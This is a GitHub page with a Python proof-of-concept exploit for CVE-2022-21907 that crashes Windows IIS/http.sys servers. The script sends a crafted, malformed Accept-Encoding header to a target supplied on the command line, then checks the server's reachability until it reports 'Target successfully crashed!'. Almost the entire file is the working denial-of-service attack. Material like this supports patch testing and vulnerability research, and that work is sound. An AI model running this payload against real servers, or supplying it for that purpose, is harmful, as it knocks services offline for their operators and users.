-
-
Notifications
You must be signed in to change notification settings - Fork 16
/
CVE-2022-21907_http.sys_crash.py
executable file
·57 lines (45 loc) · 2.26 KB
/
CVE-2022-21907_http.sys_crash.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : CVE-2022-21907_http.sys_crash.py
# Author : Podalirius (@podalirius_)
# Date created : 13 Jan 2022
import argparse
import datetime
import requests
import time
import threading
def parseArgs():
parser = argparse.ArgumentParser(description="Description message")
parser.add_argument("-t", "--target", default=None, required=True, help='Target IIS Server.')
parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
return parser.parse_args()
def monitor_thread(target, dtime=5):
print('[>] Started monitoring of target server for the next %d seconds.' % dtime)
for k in range(dtime):
try:
r = requests.get(target, timeout=1)
except (requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout) as e:
print(" [%s] \x1b[1;91mTarget is down!\x1b[0m" % datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
else:
print(" [%s] \x1b[1;92mTarget is reachable!\x1b[0m" % datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
time.sleep(1)
if __name__ == '__main__':
options = parseArgs()
if not options.target.startswith('http://') and not options.target.startswith('https://'):
target = "http://" + options.target
else:
target = options.target
payload = 'AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,'
# Starting monitoring thread
t = threading.Thread(target=monitor_thread, args=(target,))
t.start()
time.sleep(2)
# Sending payload
print(" [+] Sending payload ...")
try:
r = requests.get(target, headers={"Accept-Encoding": payload}, timeout=15)
except (requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout) as e:
t.join()
print("[%s] \x1b[1;91mTarget successfully crashed!\x1b[0m" % datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
# Cleanup
t.join()